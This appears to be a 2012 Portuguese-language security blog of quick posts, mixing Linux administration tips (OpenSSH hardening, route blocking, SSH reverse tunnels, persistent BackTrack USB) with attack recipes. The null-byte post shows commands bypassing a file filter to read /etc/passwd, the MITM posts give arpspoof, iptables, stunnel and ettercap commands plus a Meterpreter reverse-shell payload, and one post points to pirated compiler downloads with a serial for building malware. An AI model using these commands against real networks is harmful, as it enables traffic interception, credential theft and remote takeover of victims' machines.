segunda-feira, 23 de abril de 2012

Imagem do Dia

Imagem do dia:


Bom Proveito.


Loop em comando

Quero compartilhar neste quick post algo bem simples porém muito útil. Este script faz com que o PID de um comando seja verificado e caso não exista este PID ele executará o comando novamente.

A ideia aqui é fazer com que um comando seja executado toda vez que o seu processo termine por algum motivo. Segue abaixo como ficaria nosso script:


#!/bin/bash
while [ 1 ]; do
SAIDA=`pidof comando`
if [ -z $SAIDA ];
then
execcuta-comando -opção &
fi
sleep 10
done

Bom Proveito.


Seu anexo contém Vírus?

Esta dica vale para fazer uma checagem se o anexo enviado pelo e-mail possui vírus ou não.

Basta remover o que estiver escrito no corpo do e-mail, mudar o assunto para SCAN e enviar o e-mail para scan@virustotal.com

O limte de download é de 10Mb.

Este e-mail vai ser verificado contra a base do VirusTotal que por sua vez pesquisa assinaturas me diversas engines diferentes (ex: AVG, Nod32, McAfee e F-Prot).

Fonte: securitymind.blogspot.com.br

sexta-feira, 20 de abril de 2012

Entendendo o byte NULL para burlar filtros WEB

O dia de trabalho esta quase acabando e gostaria de escrever algo que fosse interessante e rápido. Estava revendo alguns papers que tenho e me deparei com um artigo que falava sobre o ataque chamado de Null-byte. Não vou aprofundar neste assunto apenas uma explicação clara e direta.

Em muitos ataques em que a URL é manipulada de forma a extrair informações de um servidor vemos o uso do Null-byte (um Zero que pode ser codificado como "% 00") no final da URL. Esta técnica é usada para burlar possíveis filtros de conteúdo web.

A maioria das linguagens de programação usa o NULL para representar nada ou um valor vazio, veja abaixo como a linguagem Perl não retorna nada utilizando o byte Null:

$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70"'
osvaldohp

Veja que o valor em hexa (\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70) tem como valor a palavra osvaldohp, vamos adicionar o byte NULL em hexa (\x00) para ver se ocorre algum erro:

$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70\x00"'
osvaldohp

Pronto, o resultado é o mesmo. Vimos que a linguagem Perl aceita o uso de byte Null. 

Um desenvolvedor WEB poderá criar um filtro bloqueando a execução de qualquer arquivo que não termine com ".html". No comando abaixo estaremos simulando a seguinte URL http://site_vulneravel/page.cgi?s=/etc/passwd:

$perl -e '$s = "/etc/passwd"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Negar

Veja que a resposta foi Negar, isso ocorre porque o arquivo requisitado (/etc/passwd) não termina com .html como diz nosso filtro ($s =~ m/\.html$/). Vamos tentar enganar o filtro:

$perl -e '$s = "/etc/passwd\x00.html"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Passa

Pronto, enganamos o filtro e obtivemos o Passa.

Segunda maneira de testar:

$perl -e '$s = "/etc/passwd\x00.html"; print $s; open(FH,"<$s"); while() { print }'

Com o comando acima podemos ler o arquivo (/etc/passwd) mesmo que no comando o nome de arquivo seja /etc/passwd\x00.html, que é um aquivo que não existe no sistema, mas neste caso veja que usamos o byte Null.

Bom Proveito.

DNS - split-split

Imagem do dia:



Neste cenário de DNS é possível impedir que atacantes externos da rede (Internet) envenenem o cache do DNS usado pelos recursos internos.

O DNS interno apenas faz resoluções recursivas para a LAN enquanto que o externo serve informação de domínio público e não responde à consultas recursivas.

Bom Proveito.


quinta-feira, 19 de abril de 2012

Usando o comando ROUTE para bloquear um IP

Já pensou em usar o comando route no linux para bloquear um IP? Nem sabia que isso era possível? Neste quick post vou mostrar como você pode fazer isso, dica da galera do Network NUTS.

Na imagem abaixo uso o IP do google para o nosso teste.


Agora vamos usar o comando ping para ver o que acontece:


Como podemos ver não conseguimos alcançar o IP 74.125.234.244.

Para tirar a regra basta digitar:

#route del -host 74.125.234.244 reject

Com isso conseguimos bloquear um endereço de destino, e se você quiser bloquear um endereço de origem? Simples.

#route add IP_ORIGEM gw 127.0.0.1 lo

Bom Proveito.


quarta-feira, 18 de abril de 2012

Boa Prática de Configuração para OpenSSH


Neste quick post vou mostrar algumas práticas (básicas) para um maior aproveitamento do OpenSSH tendo em mente a credibilidade e segurança do serviço.

edit sshd_config:

Protocol 2
PermitRootLogin no
Port 2222
ListenAddress 192.168.2.1
AllowUsers osvaldohp
PasswordAuthentication no <-- só aceitara autenticação com chave pública
Banner /etc/banner.txt <-- mensagem antes de autetnticar (para mensagem apos autenticação edite o arquivo /etc/motd)
StrictModes yes <-- checa permissão do home do usuário
TCPKeepAlive yes
ClientAliveCountMax 3
ClientAliveInterval 60
KeyRegenerationInterval 1800
MaxStartups 20:50:80 <-- ajuda contra DoS (start:rate:full)
SyslogFacility LOCAL0
LogLevel VERBOSE

obs: edit /etc/syslog.conf:
local0.* /var/log/sshd.log
obs: teste se o log funciona
#logger –p local0.info testmessagetolocal0


Usando o TCP Wrappers:

edit hosts.deny
sshd : ALL

edit hosts.allow
sshd : 192.168.0.

obs: logando acessos via ssh com o TCP Wrappers
sshd : 192.168.0. : spawn logger –p local0.info Mensagem


Usando Chave Publica para Autenticar

1. Criando a chave

#ssh-keygen –t dsa
(entre com a senha)

Sera gerado dois arquivos id_dsa e id_dsa.pub.

2. Copiando a chave

Copie a chave pública .pub para o servidor SSHD. O parametro AuthorizedKeysFile do arquivo /etc/ssh/sshd_confg especifica o local onde deverá ser copiado a chave, que por padrão é .ssh/authorized_keys. Depois de copiar a chave para o servidor execute no servidor:

#cat id_dsa.pub >> authorized_keys

obs: este comando tem que ser executado dentro do diretório ~/.ssh

3. reinicie o serviço
4. Testanto

ssh -i id_dsa osvaldohp@IP_SSHD -p 2222

Bom Proveito.

Dica SSHD

Uma dica bem legal para quem administra servidores com o SSHD instalado.
Se você precisa executar um script ou uma lista de comandos logo depois que um usuário se autentica você pode criar o arquivo ~/.ssh/rc e adicionar nele os comandos necessários.

O arquivo /etc/sshic faz a mesma coisa que o  ~/.ssh/rc porém os comandos serão executados antes da criação da shell.

Em caso de servidores com um link baixo use a opção -C para que todo o tráfego seja compressado.

Bom Proveito.

Imagem do dia


SSL Man-In-The-Middle

Hoje é o dia dos Quick Posts. Neste post vou mostrar como se faz um ataque de MITM em conexões seguras (HTTPS).

echo "1" > /proc/sys/net/ipv4/ip_forward
aptitude install arpspoof
arpspoof -i interface -t target gw_IP
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 127.0.0.1:443
stunnel -p certificate.pem -d 443 -r 8080
stunnel -c -d 8080 -r originalhost:443

MITM+Conexão Reversa

Neste quick post vou mostrar como redirecionar o tráfego de uma máquina (alvo) usando a técnica de MITM para a minha máquina, onde esta rodando o metasploit (handler).

(1)
msfpayload windows/meterpreter/reverse_tcp LHOST=SeuIP LPORT=80 X > /NomeDoArquivo.exe
use multi/handler


(2)
set payload windows/meterpreter/reverse_tcp
set lhost SeuIP
set lport 80
exploit

(3)
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -P dns_spoof -M ARP /IP_GW/ /IP_alvo/



Bom Proveito.

sexta-feira, 13 de abril de 2012

BackTrack Persistente

Sabe aquele pendrive com o BackTrack que você sempre usa para realizar seu Pentest? Você já imaginou como seria se toda modificação no BT que você fizesse pudesse ser definitiva? Pois é, isso é possível sim, com isso toda alteração realizada no BT será permanente e será realizada de forma transparente permitindo que você faça um backup diferencial somente das alterações realizadas.

Não vou mostrar como criar o pendrive com o BT, estou levando em consideração que você já tenha feito esse procedimento, para mais informações de como fazer isso acesse aqui.

BackTrack irá montar seu pendrive como /media/cdrom0. O BT usa o nome cdrom0 porque assume que você esta usando um LiveDVD e não um pendrive.

Vamos usar o comando mount para ver o dispositivo que foi associado ao  /media/cdrom0:



Neste caso o nosso pendrive foi associado ao arquivo /dev/sdb1 que esta montado apenas como leitura (ro), precisamos remountar o nosso dispositivo para que ele aceite escrita:

#mount -o remount,rw /media/cdrom0

Vamos criar um arquivo especial dentro do diretório raiz do pendrive chamado de casper-rw onde toda alteração feita no BT será salva nele.

Vamos usar o arquivo dd para criar esse arquivo de 500MB:

#dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500

Agora vamos criar o sistema de arquivos:

#mkfs.ext3 -F /media/cdrom0/casper-rw

Pronto, agora no menu do boot perceba uma nova opção chamada "Start Persistent Live CD". Toda vez que você quiser fazer alguma alteração permanente use esta opção.



Segue abaixo um script que peguei no fórum da http://www.backtrack-linux.org para agilizar este procedimento:

#!/bin/bash
USB_PATH=none
RW_SIZE=none
clear
echo "WARNING: Before running this script, confirm that the target USB"
echo "drive has WRITE permission and it has been mounted. If you are"
echo "unsure press Ctrl+C and check before running this script again."
echo " "
sleep 3
echo "Enter the path to your mounted USB disk: (e.g. /media/disk-0):"
read USB_PATH
echo " "
echo "Enter the amount of space you want to allocate, in MB (e.g. 1024 = 1GB or 4096 = 4GB):"
read RW_SIZE
echo " "
echo "Stop all operations on target disk,"
echo "sleeping for 5 seconds before processing..." 
sleep 5
echo " "
echo "Task starting, this may take several minutes..."
dd if=/dev/zero of=/$USB_PATH/casper-rw bs=1M count=$RW_SIZE
mkfs.ext3 -F /$USB_PATH/casper-rw
echo "Task completed successfully. Reboot PC in persistent mode! :)"

Bom Proveito.

Compilando seu Source

Neste post vou mostrar como criar um ambiente necessário para você compilar seu vírus, exploit, malware  ou qualquer outro código no Windows.

Todo conteúdo foi tirado de um blog (não lembro qual).

1 - Baixe e Instale C++

http://rapidshare.com/files/21861555/msc__.rar.html


Pass: itzforblitz
Serial: 812-2224558

2 - Baixe e Instale Service Pack 6

http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en

3 - Baixe e Instale Windows SDK

http://rapidshare.com/files/21854411/sdk.rar.html

Pass: itzforblitz


4 - Configurando C++

Execute Microsoft Visual C++ Compilier 6.0
Vá em Tools > Options e clique em "Directories"
Vá até os diretórios abaixo e adicione-os na lista conforme ordenado

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB

Pronto, agora você pode brincar.




quarta-feira, 11 de abril de 2012

SSH reverse tunnel


Cenário

Você precisa ajudar um amigo que possui um servidor protegido por um Firewall, O trafego de saida é liberado, mas o de entrada não é permitido, então o servidorSSH pode acessar qualquer máquina da Internet em qualquer porta, o inverso não é verdadeiro, desta forma mesmo que o servidorSSh esteja rodando o sshd na porta 22 ninguem da internet poderá acessar esse serviço se o mesmo não for liberado pelo firewall. Neste cenario estou levando em consideração que não temos acesso ao Firewall.

 servidorSSH -------> firewall --------> internet ---------> Suporte

Para resolver este problema iremos realizar uma conexão reversa usando o comando ssh. Com isso o  servidorSSH irá se conectar em uma máquina na Internet, que chamarei de Suporte, e a conexão estabelecida sera utilizada para realizar uma conexão reversa. 

No servidorSSH execute o comando abaixo:

ssh -fgNTR 2222:localhost:22 root@suporte_IP

Este comando ira acessar a máquina Suporte via SSH e disponibilizara a sua própria porta 22 usando a porta 2222.

Agora na máquina Suporte é só executar:

ssh -p2222 user@localhost

Ao se conectar na porta 2222 estaremos usando a conexão estabelicida anteriormente para se conectar na porta 22 do servidorSSH.

Digamos que você queira acessar uma aplicação que se encontra em um outro servidor, que chamaremos de servidorHTTP, apenas execute o comando abaixo no servidorSSH:

ssh -L 8000:IP_servidorHTTP:80 root@localhost

No browser da máquina Suporte execute:

http://127.0.0.1:8000

Veja um terceiro cenário no link abaixo:

http://mywiki.wooledge.org/SshTunnel

Um abraço para todos.